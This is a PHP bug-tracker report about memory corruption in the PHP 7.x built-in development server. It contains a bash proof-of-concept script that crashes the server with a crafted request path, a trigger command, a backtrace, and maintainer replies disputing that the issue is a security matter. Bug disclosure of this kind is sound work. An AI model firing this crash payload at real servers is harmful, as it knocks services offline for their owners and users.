php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #77735 Any user can cause segmentation fault or memory corruption.
Submitted: 2019-03-13 15:10 UTC Modified: 2019-03-16 14:06 UTC
From: sombrasec at wearehackerone dot com Assigned:
Status: Open Package: Built-in web server
PHP Version: 7.2.16 OS: Linux and Windows
Private report: No CVE-ID: None
Have you experienced this issue?
Rate the importance of this bug to you:

 [2019-03-13 15:10 UTC] sombrasec at wearehackerone dot com
Description:
------------
Affects:
7.2.16 and 7.3.3 (probably affects all 7.x.x, but I only tested those)
5.6 isn't affected.

I'm still trying to understand this but I figured it would be better to report what I know even if it's not much.

https://github.com/php/php-src/blob/852485d8ecd784153e41e565a0a87abf99cf4e0d/ext/date/php_date.c#L944
if(!DATEG(tzcache)) -> if(true)
This prevents the memory corruption and the crashes. Might be helpful in locating the bug.

Sorry for the bad PoC as I haven't understood the bug yet.
I will try to update this report if I find anything new.

Test script:
---------------
#!/bin/bash
#Tested on: PHP7.2.16/7.3.3. PHP5.6 is unaffected.

# php -S 127.0.0.1:1337 [-t your_work_dir]
# your_work_dir content:
#   200.php - can be empty, doesn't matter.

# the size is arbitrary. you can send 1k, it just needs to be large.
payload=$(python -c "print 'a'*7")$(python -c "print 'b'*39")$(python -c "print 'c'*200");
endpoint="127.0.0.1:1337"
preparationCount=10

echo "preparing the server..."
for i in $(seq 1 $preparationCount)
do
  echo -ne "${i}/${preparationCount}\r"
  curl "http://${endpoint}/404.asdasd" -s > /dev/null
  curl "http://${endpoint}/200.php" -s > /dev/null
done

echo 'sending the payload... goodluck.'
curl "http://${endpoint}/${payload}" -s > /dev/null

Actual result:
--------------
The server either crashing (access violation) or hang with high cpu load (~30% for me).
Memory corruption. segmentation fault from different places depending on the payload.
80% sure it's "tzcache" corruption from "ext/date/php_date.c"

The PoC with its current payload crashes here:
https://github.com/php/php-src/blob/e7e8112fcde30f51ac725e7b32d51bf7f832c030/ext/date/lib/parse_tz.c#L680
with our payload being in "timelib_tzinfo *tz".

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2019-03-13 15:25 UTC] stas@php.net
-Type: Security +Type: Bug
 [2019-03-14 03:04 UTC] sombrasec at wearehackerone dot com
Why is this marked as a "bug"? if it was self DoS i would understand but anyone over the internet could crash/DoS any running php7.x.x builtin-server.
Don't you think this qualifies for it to be a security issue?
 [2019-03-14 03:10 UTC] requinix@php.net
It's a bug on the built-in *development* server. The only way this could be a security risk is if you run something critical on the server, running on an external interface, on a port that's open to the internet through your firewalls/NAT. That's three mistakes too many.
 [2019-03-15 08:25 UTC] laruence@php.net
-Status: Open +Status: Feedback
 [2019-03-15 08:25 UTC] laruence@php.net
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32

Once you have generated a backtrace, please submit it to this bug
report and change the status back to "Open". Thank you for helping
us make PHP better.

I can not reproduce this
 [2019-03-15 19:45 UTC] sombrasec at wearehackerone dot com
• Pictures from within visual studio:
variables: https://i.imgur.com/4udAawy.png
everything else: https://i.imgur.com/Yv8rzKP.png

• Backtrace:
[Inline Frame] php7ts.dll!fetch_leaptime_offset(_timelib_tzinfo *) Line 609
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\ext\date\lib\parse_tz.c(609)
php7ts.dll!timelib_get_time_zone_info(__int64 ts, _timelib_tzinfo * tz) Line 648
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\ext\date\lib\parse_tz.c(648)
php7ts.dll!timelib_unixtime2local(_timelib_time * tm, __int64 ts) Line 178
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\ext\date\lib\unixtime2tm.c(178)
php7ts.dll!php_format_date(char * format, unsigned __int64 format_len, __int64 ts, int localtime) Line 1287
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\ext\date\php_date.c(1287)
php.exe!append_essential_headers(smart_str * buffer, php_cli_server_client * client, int persistent) Line 359
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(359)
php.exe!php_cli_server_send_error_page(php_cli_server * server, php_cli_server_client * client, int status) Line 1943
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(1943)
php.exe!php_cli_server_begin_send_static(php_cli_server * server, php_cli_server_client * client) Line 2022
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2022)
php.exe!php_cli_server_dispatch(php_cli_server * server, php_cli_server_client * client) Line 2184
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2184)
php.exe!php_cli_server_recv_event_read_request(php_cli_server * server, php_cli_server_client * client) Line 2384
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2384)
php.exe!php_cli_server_do_event_for_each_fd_callback(void * _params, unsigned __int64 fd, int event) Line 2457
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2457)
php.exe!php_cli_server_poller_iter_on_active(php_cli_server_poller * poller, void * opaque, int(*)(void *, unsigned __int64, int)) Line 834
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(834)
[Inline Frame] php.exe!php_cli_server_do_event_for_each_fd(php_cli_server *) Line 2480
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2480)
[Inline Frame] php.exe!php_cli_server_do_event_loop(php_cli_server *) Line 2490
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2490)
php.exe!do_cli_server(int argc, char * * argv) Line 2612
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli_server.c(2612)
php.exe!main(int argc, char * * argv) Line 1406
  at c:\php-snap-build\php72\vc15\x64\php-7.2.16-ts\sapi\cli\php_cli.c(1406)
[External Code]
 [2019-03-15 19:46 UTC] sombrasec at wearehackerone dot com
-Status: Feedback +Status: Open
 [2019-03-15 19:46 UTC] sombrasec at wearehackerone dot com
oops.
 [2019-03-15 20:18 UTC] sombrasec at wearehackerone dot com
The bug can be triggered (but doesn't cause a crash) with:
curl "http://127.0.0.1:1337/200.php" -s > /dev/null && curl "http://127.0.0.1:1337/400.php" -s > /dev/null

/ext/date/php_date.c - php_date_parse_tzfile (line 953) (php 7.2.16)
if you place a breakpoint here you will see that 'tzi' gets corrupted on the 2nd request.
If you curl 200.php twice -> nothing happens.
If you curl 400.php twice -> nothing happens.
If you curl 200.php then 400.php -> corruption as seen here:
https://i.imgur.com/ARD7avB.png
400.php being a non existent file.
 [2019-03-16 14:06 UTC] cmb@php.net
Can't reproduce either.
 
PHP Copyright © 2001-2019 The PHP Group
All rights reserved.
Last updated: Wed Apr 24 15:01:26 2019 UTC